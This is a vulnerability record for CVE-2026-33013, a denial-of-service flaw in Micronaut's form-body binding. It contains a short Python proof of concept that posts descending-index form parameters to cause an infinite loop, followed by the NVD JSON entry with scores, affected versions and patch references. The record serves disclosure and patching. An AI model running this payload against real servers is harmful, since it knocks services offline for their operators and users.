CVE-2026-33013

import requests # The vulnerability occurs when array indices are sent in descending order. # Example payload triggering the infinite loop in JsonBeanPropertyBinder. target_url = "http://vulnerable-host:8080/api/submit" data = { # Sending index 1 before index 0 triggers the DoS "authors[1].name": "Attacker", "authors[0].name": "Victim" } response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") # The server may hang or crash due to CPU exhaustion or OutOfMemoryError.

{"cve": {"id": "CVE-2026-33013", "sourceIdentifier": "[email protected]", "published": "2026-03-20T05:16:15.380", "lastModified": "2026-03-24T21:21:26.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. Versions prior to both 4.10.16 and 3.10.5 do not correctly handle descending array index order during form-urlencoded body binding in theJsonBeanPropertyBinder::expandArrayToThreshold, which allows remote attackers to cause a DoS (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., authors[1].name followed by authors[0].name). This issue has been fixed in versions 4.10.16 and 3.10.5."}, {"lang": "es", "value": "Micronaut Framework es un framework Java de pila completa basado en JVM diseñado para construir aplicaciones JVM modulares y fácilmente testeables. Las versiones anteriores a la 4.10.16 y a la 3.10.5 no manejan correctamente el orden descendente de los índices de array durante la vinculación del cuerpo form-urlencoded en JsonBeanPropertyBinder::expandArrayToThreshold, lo que permite a atacantes remotos causar un DoS (bucle no terminante, agotamiento de CPU y OutOfMemoryError) a través de parámetros de formulario indexados manipulados (p. ej., authors[1].name seguido de authors[0].name). Este problema ha sido solucionado en las versiones 4.10.16 y 3.10.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:objectcomputing:micronaut:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.5", "matchCriteriaId": "1EA64458-33DD-407D-8CFD-245365E789E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:objectcomputing:micronaut:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.10.16", "matchCriteriaId": "41907B31-CC76-4287-8A44-5A19AB54640D"}]}]}], "references": [{"url": "https://github.com/micronaut-projects/micronaut-core/commit/1afe509677c51b320041b7a2c177366d4a4deb55", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/micronaut-projects/micronaut-core/pull/12410", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.10.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v4.10.16", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/micronaut-projects/micronaut-core/security/advisories/GHSA-43w5-mmxv-cpvh", "source": "[email protected]", "tags": ["Exploit", "Patch ... (truncated)